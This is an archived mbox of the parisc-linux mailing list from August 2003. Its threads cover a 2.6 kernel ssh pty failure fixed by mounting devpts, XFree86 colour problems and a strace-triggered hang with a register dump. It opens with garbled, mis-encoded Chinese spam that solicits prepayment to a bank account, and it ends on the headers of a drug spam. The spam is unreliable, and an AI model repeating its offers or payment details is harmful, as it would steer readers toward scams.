List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19113

ͨʡ
ͨCDMAִͨѶʱѡ񣡣
Oĵײͣ
118Ԫײͣ0.36Ԫ/ӣѡ
2ײ0.4Ԫ/
3138Ԫ400Ԫ168Ԫ600Ԫ228Ԫ1000Ԫײ

ҵ
ƾ֤ӡԤ600ԪѼɻһ̨CDMAֻһ
ϰʺţУ9555-5020-0044-3114

ѯ绰8558030885580908
Ͷߵ绰89822292

йͨݷֹ˾


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem: linux-2.6.0-test-pa6 and ssh
Date: Thu, 07 Aug 2003 06:01:38 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <3F31CF22.9080706@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622653 28836 80.91.229.3 (22 Nov 2014 02:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 22:02:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5D5B482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 22:02:23 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157027062.dialin.heagmedianet.de [213.157.27.62])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h7741jir025552
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 7 Aug 2003 06:02:10 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19114

Hi,

booting the 2.6.0-test2-pa6 kernel works quite right, but when I try to 
login via ssh I get the following error after entering the password: 
"Server refused to allocate pty".
With a 2.4-kernel and latest 2.5-kernel it worked alright.
I using devfs and debian unstable on my 715/100.
Has anyone an idea how to get ssh to work?

Ruediger



From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.x - impressions
Date: Thu, 7 Aug 2003 07:53:46 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20030807055346.GI1873@lug-owl.de>
References: <20030806065647.GP1873@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="mAEYYP2W/5hrqqYE"
X-Trace: ger.gmane.org 1416622653 28837 80.91.229.3 (22 Nov 2014 02:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 23:53:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A007482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 23:53:49 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 1E8584A892; Thu,  7 Aug 2003 07:53:46 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030806065647.GP1873@lug-owl.de>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19115

--mAEYYP2W/5hrqqYE
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 2003-08-06 08:56:47 +0200, Jan-Benedict Glaw <jbglaw@lug-owl.de>
wrote in message <20030806065647.GP1873@lug-owl.de>:
> - I became brave and installed XFree86, using the framebuffer driver:
>=20
> STI GSC/PCI core graphics driver Version 0.9a
> STI word mode ROM at f0011000, hpa at f8000000
> STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
> STI device: INTERNAL_EG_1280
> fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio:
> 0xf8100000
> Console: switching to colour frame buffer device 160x64
>=20
>   It starts, I can perfectly see X11's rasterized background. But when
>   WindowMaker loads it's background image, the screen goes mostly black.
>   Some white points can be seen (I feel like these are where colors of
>   real contrast meet each other, so I can see the outlines of context
>   menus...), but that's not enough to really work with it:)

After some reading, this seems to be a XFree86 4.2.x problem. The RENDER
engine (doing antialiasing) seems to pre-allocate 200 colours in
advance. After some background image is displayed (which for sure will
take most of the remaining colours) there are "no" colours left to
display menus, xterms and the like.

This will change (or configurable) in Xfree86 4.3.x.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--mAEYYP2W/5hrqqYE
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/MelqHb1edYOZ4bsRAqzrAJoDku0Mytz/eVUmcLhUmqquV1naMQCfW6Dm
HvUjJ12YR6cpWDKI3hR2RyQ=
=DSDq
-----END PGP SIGNATURE-----

--mAEYYP2W/5hrqqYE--


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem: linux-2.6.0-test-pa6 and ssh
Date: Wed, 6 Aug 2003 23:02:49 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030807060249.GB4979@tausq.org>
References: <3F31CF22.9080706@hrzpub.tu-darmstadt.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622653 28842 80.91.229.3 (22 Nov 2014 02:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 00:20:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0934482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 00:20:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E93DFCD2FC; Wed,  6 Aug 2003 23:02:49 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F31CF22.9080706@hrzpub.tu-darmstadt.de>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19116

> booting the 2.6.0-test2-pa6 kernel works quite right, but when I try to 
> login via ssh I get the following error after entering the password: 
> "Server refused to allocate pty".
> With a 2.4-kernel and latest 2.5-kernel it worked alright.
> I using devfs and debian unstable on my 715/100.
> Has anyone an idea how to get ssh to work?

hm.. it seems to work for me... can you try running sshd in debug 
mode (sshd -ddd, output goes to syslog) and see if that tells you more 
about what's happening?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.x - impressions
Date: Wed, 6 Aug 2003 23:28:19 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20030807062818.GC4979@tausq.org>
References: <20030806065647.GP1873@lug-owl.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="45Z9DzgjV8m4Oswq"
X-Trace: ger.gmane.org 1416622654 28845 80.91.229.3 (22 Nov 2014 02:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 00:24:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E3D5482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 00:24:01 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 16DBECD365; Wed,  6 Aug 2003 23:28:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030806065647.GP1873@lug-owl.de>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19117

--45Z9DzgjV8m4Oswq
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> - If I strace some program, the box will crash some time later (while
>   strace is still running). I can still toggle the NumLock LED by

what did you try to strace that caused the machine to crash?=20

randolph
--=20
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--45Z9DzgjV8m4Oswq
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE/MfGCULspdC1Zp9IRAsQUAJ9vG4Q6et9HEcSZf/4XKDhLFQf8vgCgiFem
pmlH1wCM0+EKp7iEtIbba+s=
=yZsh
-----END PGP SIGNATURE-----

--45Z9DzgjV8m4Oswq--


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.x - impressions
Date: Thu, 7 Aug 2003 08:31:20 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20030807063120.GK1873@lug-owl.de>
References: <20030806065647.GP1873@lug-owl.de> <20030807062818.GC4979@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3560iJfidtGRl43/"
X-Trace: ger.gmane.org 1416622654 28848 80.91.229.3 (22 Nov 2014 02:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 00:31:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B439482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 00:31:22 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 07A864A892; Thu,  7 Aug 2003 08:31:20 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030807062818.GC4979@tausq.org>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19118

--3560iJfidtGRl43/
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 2003-08-06 23:28:19 -0700, Randolph Chung <randolph@tausq.org>
wrote in message <20030807062818.GC4979@tausq.org>:
> > - If I strace some program, the box will crash some time later (while
> >   strace is still running). I can still toggle the NumLock LED by
>=20
> what did you try to strace that caused the machine to crash?=20

cvsps. That's a small programm querying a CVS server to get patchsets
(not simple patches) out of it. It's for a BKCVS to Arch gateway I'm
working on.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--3560iJfidtGRl43/
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/MfI4Hb1edYOZ4bsRAhoIAKCG76qdWymEgrW26OmADvi6sCYIPgCeOe/c
Jsi3QMAj72kvTqQVWn4b9LY=
=Rc+H
-----END PGP SIGNATURE-----

--3560iJfidtGRl43/--


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem: linux-2.6.0-test-pa6 and ssh
Date: Thu, 07 Aug 2003 08:45:51 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F31F59F.1040608@hrzpub.tu-darmstadt.de>
References: <3F31CF22.9080706@hrzpub.tu-darmstadt.de> <20030807060249.GB4979@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622654 28852 80.91.229.3 (22 Nov 2014 02:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:34 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 00:46:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D23A482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 00:46:46 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157027215.dialin.heagmedianet.de [213.157.27.215])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h776jrsZ023536
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Thu, 7 Aug 2003 08:46:05 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <20030807060249.GB4979@tausq.org>
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19119

Thanks for your help, but I already found the answer. (rtfm, or in this 
case not the manual but "The post-halloween document. v0.42" from Dave 
Jones... ;) )
When using devfs with 2.4 I didn't need to mount the devpts-fs, so I 
comment this part out in /etc/fstab. Because of the changes to devfs in 
2.5 I had to mount the devpts now. So I mounted devpts, and everything 
worked like a charm again.

Running ssh in debug mode and without mounted devpts gives:
----------SNIP------
debug1: Allocating pty.
openpty: No such file or directory
session_pty_req: session 0 alloc failed
----------SNAP-----

Ruediger

Randolph Chung schrieb:

>hm.. it seems to work for me... can you try running sshd in debug 
>mode (sshd -ddd, output goes to syslog) and see if that tells you more 
>about what's happening?
>
>randolph
>  
>




From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.x - impressions
Date: Thu, 7 Aug 2003 10:49:20 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20030807084920.GL1873@lug-owl.de>
References: <20030806065647.GP1873@lug-owl.de> <20030807062818.GC4979@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="DFTsS40uuchi7su8"
X-Trace: ger.gmane.org 1416622655 28856 80.91.229.3 (22 Nov 2014 02:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 02:49:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD68A482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 02:49:21 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 0AA324A914; Thu,  7 Aug 2003 10:49:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030807062818.GC4979@tausq.org>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19120

--DFTsS40uuchi7su8
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 2003-08-06 23:28:19 -0700, Randolph Chung <randolph@tausq.org>
wrote in message <20030807062818.GC4979@tausq.org>:
> > - If I strace some program, the box will crash some time later (while
> >   strace is still running). I can still toggle the NumLock LED by
>=20
> what did you try to strace that caused the machine to crash?=20

I now did a TOC when it hung. (No virtual console switching possible,
but NumLock still worked. Here's my TOC content:

General Registers 0 - 31
 0 -  3  0x00000000  0x103000f0  0x101c77fc  0x37efc4e5
 4 -  7  0x00000008  0x00000001  0xffffffff  0x00000001
 8 - 11  0xffffffff  0x37efc4e4  0x00000010  0xc8103b1c
12 - 15  0x0000006c  0x102b24f4  0x00047ae0  0x00000020
16 - 19  0x37efc080  0x0000ff00  0x00025000  0x00000001
20 - 23  0x00000000  0x0000000e  0x00000010  0x00000000
24 - 27  0x00000000  0xffffffff  0x37efc4e5  0x102e4010
28 - 31  0x00000000  0x00000000  0x37efc740  0x101c717c

<Press any key to continue (q to quit)>

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000
 8 - 11  0x00000754  0x00000000  0x000000c0  0x00000000
12 - 15  0x00000000  0x00000000  0x00107800  0xf1000000
16 - 19  0xd5a827ac  0x00000000  0x101c6f58  0x92602000
20 - 23  0x00000000  0x37efc720  0x0004000f  0x00000000
24 - 27  0x002f6000  0x27f25000  0xfefffffb  0xaaaaaaaa
28 - 31  0xaaaaaaaa  0x11111111  0x37efc000  0x10354000

Space Registers 0 - 7
 0 -  3  0x00000000  0x000001bf  0x00000000  0x000003aa
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000

IIA Space                    =3D 0x00000000
IIA Offset                   =3D 0x101c6f5c
CPU State                    =3D 0x9e000001

--------------------------------------------------------

r02:	vsnprintf + 0x604
r27:	$global$ + 0x0
r31:	number + 0x2b8
IIA Offset:	number + 0x98

So it's most probably dieing in some printk() or something like that
with a bad parameter or format string? Is there some way to get more
than only the CPU state (eg. more stack frames)?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--DFTsS40uuchi7su8
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/MhKQHb1edYOZ4bsRAnFnAJ4/mDaqwCdIyFKQsJA83yVU8RZ0ygCfXVqv
ejH1GLD+OMFcMQOR+VDr8D0=
=KzUq
-----END PGP SIGNATURE-----

--DFTsS40uuchi7su8--


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stewart Sweet" <fs85fhhfq@hongkong.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OrderViagra,DietPills,and other prescriptiion medcationsonline with no priorprescription wuv
Date: Thu, 07 Aug 2003 14:00:40 +0200
Lines: 27
Approved: news@gmane.org
